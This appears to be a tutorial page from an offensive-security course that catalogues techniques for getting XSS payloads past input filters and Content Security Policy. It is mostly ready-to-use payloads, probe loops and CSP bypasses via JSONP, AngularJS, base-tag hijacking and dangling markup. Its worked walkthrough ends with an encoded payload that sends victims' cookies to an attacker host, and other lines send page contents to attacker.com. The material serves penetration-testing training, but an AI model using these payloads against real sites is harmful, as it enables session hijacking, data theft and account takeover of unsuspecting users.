Skip to content

Filter Bypasses

When the obvious XSS payload is blocked, the answer is rarely “no XSS here” and usually “the filter doesn’t cover variant N.” Bypass categories: case juggling, character substitution, encoding (HTML/URL/Unicode), tag substitution, alternative event handlers, parentheses-free JS, and CSP bypass via on-origin gadgets.

# Filter blocks <script> tags
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<sCrIpT>alert(1)</sCrIpT> # case
<scr<script>ipt>alert(1)</scr</script>ipt> # nested replacement
# Filter blocks alert(
alert`1` # tagged template
prompt(1) / confirm(1) # synonyms
window['ale'+'rt'](1) # bracket access
top['al\x65rt'](1) # escape sequence in name
# Filter blocks specific characters
%3Csvg%20onload%3Dalert(1)%3E # URL encoding
&lt;svg onload=alert(1)&gt; # HTML encoding (depends on context)
\u003csvg onload=alert(1)\u003e # Unicode escape (JS context)
# CSP blocks inline scripts
<iframe srcdoc="<script>alert(1)</script>"> # iframe srcdoc inherits parent's CSP only sometimes
<base href=//attacker/> # redirect relative scripts

Success indicator: the bypassed payload reaches the rendering context and JavaScript executes. The systematic methodology below maps the filter’s exact rules so the bypass is predictable, not lucky.

Before bypassing, map what the filter actually blocks. Send a series of probes and observe response differences:

Terminal window
# What character set survives encoding?
for c in '<' '>' '"' "'" '(' ')' '`' '/' ';' '=' ' '; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$c'))")
response=$(curl -s "http://target/page?q=test${encoded}canary")
echo "$c: $(echo "$response" | grep -o "test.canary" | head -1)"
done

Output reveals which characters get escaped, encoded, or replaced:

<: test_canary # < replaced with _
>: test_canary # > replaced with _
": test&quot;canary # " HTML-entity encoded
': test&#39;canary # ' HTML-entity encoded
(: test(canary # ( survives unchanged
): test)canary # ) survives unchanged
`: test`canary # ` survives
/: test/canary # / survives
;: test;canary # ; survives
=: test=canary # = survives
: test canary # space survives

In this case, < and > are stripped. Direct <script> injection is dead. But (, ), `, /, ;, = all survive - there may still be a payload class that doesn’t need angle brackets (e.g., already-injecting-into-an-attribute case).

Terminal window
# What patterns get blocked beyond just chars?
for payload in 'script' 'alert' 'onerror' 'onclick' 'javascript' 'svg' 'img' 'iframe'; do
response=$(curl -s "http://target/page?q=test_${payload}_canary")
echo "$payload: $(echo "$response" | grep -o "test.*canary" | head -1)"
done

Reveals keyword-based blocklists:

script: test__canary # "script" replaced with empty string
alert: test__canary # "alert" replaced
onerror: test_onerror_canary # "onerror" survives
onclick: test__canary # "onclick" replaced
javascript: test_javascript_canary # survives
svg: test_svg_canary # survives

Now the filter shape is clear: it blocks script, alert, onclick, but allows onerror, javascript, svg. Build payloads from what survives.

Repeat both probes for each page and parameter. Different parameters often use different filter rules - ?q= might pass <script> while ?type= strips it; ?email= might URL-encode while ?name= doesn’t.

Most regex-based filters are case-sensitive by default:

<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<SVG ONLOAD=ALERT(1)>
JAVASCRIPT:alert(1)

HTML is case-insensitive - <ScRiPt> is just as valid as <script> from the browser’s perspective. A regex like /<script>/ doesn’t match <sCrIpT> unless it has the i flag.

In practice, most modern filters are case-insensitive. Test before relying on this. When it works, it’s the lowest-effort bypass.

Bypass category 2 - duplication / nested substitution

Section titled “Bypass category 2 - duplication / nested substitution”

Filters that strip the matched pattern once are bypassed by nesting:

<scr<script>ipt>alert(1)</scr</script>ipt>

After the filter strips the inner <script> and </script>:

<script>alert(1)</script>

The filter saw the inner tag, removed it, the outer characters merged into a valid <script> block.

Variations:

<<script>script>alert(1)<</script>/script>
<a<a>lert(1)>

Works when the filter does a single pass. Modern filters typically iterate to fixed point, defeating this. Worth testing.

The browser decodes HTML entities, URL encoding, and Unicode escapes at different times in different contexts. The filter sees one form, the browser sees another.

Inside HTML attributes (and sometimes elsewhere), HTML entities are decoded by the browser:

<a href="java&#x73;cript:alert(1)">click</a> <!-- &#x73; = s; href becomes javascript:... -->
<a href="java&Tab;script:alert(1)">click</a> <!-- Tab entity inside scheme -->
<a href="java&NewLine;script:alert(1)">click</a>

The filter sees java&#x73;cript: and concludes “not the javascript scheme.” Browser decodes the entity and sees javascript:.

Notable entities for XSS:

EntityDecodedUse case
&#9; / &Tab;tabInserts whitespace mid-keyword
&#10; / &NewLine;newlineSame
&#x0;null byteBypasses some C-string filters
&#x3C; / &lt;<Doesn’t help in HTML context (still HTML-decoded back to text), but in JS string contexts that interpret entities
&quot;"Same
&apos;'Same
%3Csvg%20onload%3Dalert(1)%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

Most servers URL-decode at routing. The filter (if URL-decoding-aware) sees decoded content; otherwise it sees %3C literals. Many filters lag behind one decode step. Worth a try.

%253Csvg%2520onload%253Dalert(1)%253E

%25 = %. The server decodes once → %3Csvg%20...%3E. The decoded form is still URL-encoded. The filter scans and sees URL-encoded text, concludes “no payload.” The application decodes again at use time → <svg onload=...> → renders → XSS.

Works against filters that decode-then-scan but allow the final use to also decode.

Inside JavaScript:

\u003cscript\u003ealert(1)\u003c/script\u003e

\u003c is <. The filter scanning the URL parameter sees the literal \u003c chars; the JS parser decodes the escape.

For this to work, the payload must land in a JS context where escapes are processed (variable assignment, eval, string literal). Not HTML context.

"\x3cscript\x3ealert(1)\x3c/script\x3e"

Same logic as Unicode; \x for hex pairs. Slightly shorter than \u.

Bypass category 4 - alternative tags and event handlers

Section titled “Bypass category 4 - alternative tags and event handlers”

When <script> is blocked, the universe of tags that fire JS is vast. Each adds a row to the filter’s blocklist; most filters don’t cover the long tail.

Tags that fire onload / onerror immediately

Section titled “Tags that fire onload / onerror immediately”
<svg onload=alert(1)>
<body onload=alert(1)>
<img src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe srcdoc="<script>alert(1)</script>" onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<meter value=0 onmouseover=alert(1)>

Event handlers that aren’t onclick / onerror

Section titled “Event handlers that aren’t onclick / onerror”

Many filters check for the well-known event names. The full list of HTML event handlers is much larger:

onafterprint onafterscriptexecute onanimationcancel onanimationend
onanimationiteration onanimationstart onauxclick onbeforecopy
onbeforecut onbeforeinput onbeforeprint onbeforescriptexecute
onbeforeunload onblur oncanplay oncanplaythrough onchange
onclick onclose oncontextmenu oncopy oncuechange oncut
ondblclick ondrag ondragend ondragenter ondragexit ondragleave
ondragover ondragstart ondrop ondurationchange onemptied onended
onerror onfocus onfocusin onfocusout onformdata onfullscreenchange
onfullscreenerror ongesturechange ongestureend ongesturestart
onhashchange oninput oninvalid onkeydown onkeypress onkeyup
onload onloadeddata onloadedmetadata onloadend onloadstart
onmessage onmousedown onmouseenter onmouseleave onmousemove
onmouseout onmouseover onmouseup onmousewheel onoffline ononline
onpagehide onpageshow onpaste onpause onplay onplaying
onpointercancel onpointerdown onpointerenter onpointerleave
onpointermove onpointerout onpointerover onpointerrawupdate
onpointerup onpopstate onprogress onratechange onresize onscroll
onsearch onseeked onseeking onselect onselectionchange onselectstart
onshow onslotchange onstalled onstorage onsubmit onsuspend
ontimeupdate ontoggle ontouchcancel ontouchend ontouchmove
ontouchstart ontransitioncancel ontransitionend ontransitionrun
ontransitionstart onunhandledrejection onunload onvolumechange
onwaiting onwebkitanimationend onwebkitanimationiteration
onwebkitanimationstart onwebkittransitionend onwheel

When onclick and onerror are blocked, onpointerover, ontoggle, onfocusin are usually free. The newer / less-known event names slip through keyword filters.

<form><button formaction=javascript:alert(1)>click</button></form>
<form action=javascript:alert(1)><button>click</button></form>
<a href=javascript:alert(1)>click</a>
<isindex action=javascript:alert(1) type=submit> <!-- legacy HTML4 -->

Bypass category 5 - JavaScript-level bypass

Section titled “Bypass category 5 - JavaScript-level bypass”

When the surrounding context is “your input ends up inside eval() or Function()” but specific characters are filtered:

alert`1` // tagged template literal - alert is invoked with array of strings
onerror=alert;throw 1 // throw inside try-equivalent calls onerror; arg is what was thrown
Object.defineProperty(top,'a',{get:alert});top.a // getter trick

The throw trick is particularly elegant - throw invokes whatever’s in window.onerror (or any onerror handler) with the thrown value as argument. If onerror=alert, throw 1 runs alert(1) without an explicit call.

alert(/xss/.source) // regex literal - .source is the regex body as string
alert(String.fromCharCode(88,83,83)) // 88 = X, 83 = S, etc.
alert(atob('WFNT')) // base64-decoded

When alert is filtered, the synonyms:

prompt(1)
confirm(1)
window['ale' + 'rt'](1) // string concatenation
top['ale' + 'rt'](1)
parent['ale' + 'rt'](1)
[].constructor.constructor('alert(1)')() // Function constructor via [].constructor
({}).constructor.constructor('alert(1)')() // same

The point of XSS isn’t alert - it’s executing arbitrary JS. Any function that does observable work proves XSS:

fetch('//attacker:8000/?xss') // GET to attacker
document.title='XSS' // changes page title
location='//attacker' // navigates page (loud but clear)
console.log('XSS') // doesn't prove it to a victim but proves to operator

Most “alert is blocked” filters don’t block fetch or location. Use what isn’t blocked.

Bypass category 6 - quote-free / space-free

Section titled “Bypass category 6 - quote-free / space-free”

Sometimes attribute breakouts can’t use spaces or quotes (filter strips them):

<!-- Need to fire onerror without space between attribute and value -->
<img/src=x/onerror=alert(1)> <!-- slash works as attribute separator -->
<img%09src=x%09onerror=alert(1)> <!-- tab -->
<img%0Asrc=x%0Aonerror=alert(1)> <!-- newline -->
<img%0Csrc=x%0Conerror=alert(1)> <!-- form feed -->

Without quotes:

<img src=x onerror=alert(1)> <!-- already quote-free for simple cases -->
<svg onload=alert(1)>
<a href=javascript:alert(1)> <!-- unquoted href value -->

Content Security Policy is the modern XSS countermeasure. A page with strict CSP blocks inline scripts and event handlers. Most XSS payloads stop working. Bypass strategies depend on the policy.

Read the Content-Security-Policy header to know what you’re up against:

Content-Security-Policy: default-src 'self'; script-src 'self'

Means: scripts can only come from same-origin URLs (<script src="/file.js">). Inline <script>alert(1)</script> blocked. Event handlers blocked. eval blocked.

Content-Security-Policy: script-src 'self' 'unsafe-inline'

'unsafe-inline' allows inline scripts. CSP is decorative; XSS works normally.

Content-Security-Policy: script-src 'self' 'unsafe-eval'

Inline blocked but eval, setTimeout(string), Function(...) allowed. DOM XSS via eval still works.

Content-Security-Policy: script-src 'self' 'strict-dynamic' 'nonce-abc123'

strict-dynamic allows scripts loaded by 'self' scripts to load further scripts. Inline blocked unless they have nonce-abc123. If you can read the nonce from elsewhere on the page, include it in your script tag.

If the page’s origin hosts a JSONP endpoint:

https://target/api/jsonp?callback=alert

This returns alert(...) which is valid JS. If CSP allows scripts from 'self', then:

<script src="/api/jsonp?callback=alert(document.domain)//"></script>

The script loads from same-origin (CSP allowed), but its content is attacker-controlled because the callback parameter is reflected.

Search the target’s origin for JSONP endpoints: ?callback=, ?cb=, ?jsonp= parameters that return executable JS.

If the page loads AngularJS (any version 1.x) from same-origin and a CSP allows 'self' scripts:

<div ng-app ng-csp>
{{constructor.constructor('alert(1)')()}}
</div>

Angular’s template evaluator executes {{...}} even when CSP blocks JS. The constructor.constructor chain reaches the Function constructor through Object’s prototype chain.

The pattern works whenever angular is loaded and the injection lands in HTML context.

If CSP allows scripts from 'self' and the page loads scripts via relative URLs:

<script src="/static/app.js"></script>

Inject a <base> tag earlier in the document:

<base href="//attacker.com/">

Relative URLs now resolve against attacker.com. The page’s <script src="/static/app.js"> becomes <script src="//attacker.com/static/app.js">. Attacker controls the script content.

CSP 'self' matches by origin at the time of resource fetch, after <base> is applied - so attacker.com/static/app.js doesn’t match 'self'. But some CSP implementations check <base> before applying it, so the bypass still works in those cases.

When CSP blocks JS execution but allows CSS / image loading:

<img src="//attacker.com/?data=

The unclosed <img> tag captures everything that follows on the page until the next quote. The image URL becomes //attacker.com/?data=<rest of page> - exfiltrates DOM contents to attacker.

Doesn’t execute JS but extracts data. Useful in CSP-locked environments where the goal is data theft, not arbitrary code.

When CSP uses nonce-XXX, every <script> tag must include nonce="XXX". If you can inject a <script> with the nonce, it executes:

<script nonce="XXX">alert(1)</script>

But where do you get the nonce? Sometimes it’s in the page already (e.g., a <script nonce="XXX"> already in the HTML). Read it via DOM, reuse it. Specifically:

// In an injected event handler:
document.body.appendChild(Object.assign(document.createElement('script'), {
nonce: document.querySelector('script[nonce]').nonce,
textContent: 'alert(1)'
}));

Of course, this requires JS execution to begin with - chicken-and-egg unless you have a non-script-tag XSS (e.g., a permitted event handler somewhere).

A worked walkthrough - bypassing a layered filter

Section titled “A worked walkthrough - bypassing a layered filter”

Target: ?q= parameter, reflected into HTML body. Filter regime: blocks script, alert, <svg, onerror, but allows onclick.

Probe each:

?q=test<svg test → test_test (svg blocked)
?q=test<svg test → test test (no change)
?q=test alert test → test test (alert blocked)
?q=test onerror test → test test (onerror blocked)
?q=test onclick test → test onclick test (onclick survives)
?q=test<img test → test<img test (img survives)
?q=test prompt test → test prompt test (prompt survives)

<img> survives, onerror doesn’t, but onclick does. Try:

?q=<img src=x onclick=prompt(1)>

Result:

<div><img src=x onclick=prompt(1)></div>

XSS via click. Drawback: needs user interaction. To make it auto-fire, try other event handlers in the survives-the-filter set:

?q=test ontoggle test → test ontoggle test (survives)
?q=test onpointerover test → test onpointerover test

ontoggle survives. Pair with <details>:

?q=<details open ontoggle=prompt(1)>

Auto-fires on <details> element being open. Result: XSS, no user interaction needed.

The proof-of-concept is prompt(1). For actual session theft:

?q=<details open ontoggle="new Image().src='http://attacker:8000/?c='+btoa(document.cookie)">

URL-encoded for clean delivery:

?q=%3Cdetails%20open%20ontoggle%3D%22new%20Image().src%3D%27http%3A%2F%2Fattacker%3A8000%2F%3Fc%3D%27%2Bbtoa(document.cookie)%22%3E

Successful filter bypass with practical impact.

BypassPattern
Case juggling<sCrIpT>, OnClIcK, JaVaScRiPt:
Nested replacement<scr<script>ipt>...</scr</script>ipt>
HTML entity in URL schemejava&Tab;script:alert(1)
HTML entity in keyword<a href="java&#x73;cript:alert(1)">
URL encoding%3Csvg%20onload%3Dalert(1)%3E
Double URL encoding%253Csvg%2520onload%253Dalert(1)%253E
Unicode escape in JS\u003cscript\u003e
Hex escape in JS string"\x3cscript\x3e"
Alternative auto-firing tag<svg onload=>, <details open ontoggle=>, <input autofocus onfocus=>
Less-known eventontoggle, onfocusin, onpointerover, onbeforeinput
Alert synonymsprompt(1), confirm(1), window['ale'+'rt'](1)
No parensalert`1` , onerror=alert;throw 1
No quotesalert(/xss/.source), alert(String.fromCharCode(88))
No spaces<img/src=x/onerror=alert(1)>, <img%09src=x%09onerror=>
CSP 'unsafe-inline'Just use inline scripts; CSP doesn’t help
CSP 'unsafe-eval'Use eval(...), setTimeout("..."), Function(...)
CSP 'strict-dynamic'Need nonce or hash; check page for existing nonces
CSP 'self' + JSONP<script src="/api/jsonp?callback=alert(1)//">
CSP + Angular{{constructor.constructor('alert(1)')()}}
CSP + base href<base href="//attacker/">
Filter discovery probeLoop characters, observe encoding; loop keywords, observe replacement
Confirm filter is single-passTry <scr<script>ipt>

For applying these against admin-targeted blind XSS scenarios, see Blind XSS. For the capstone chain that combines multiple bypasses with stored XSS and CSRF, see Skill assessment chain.

Defenses D3-CBV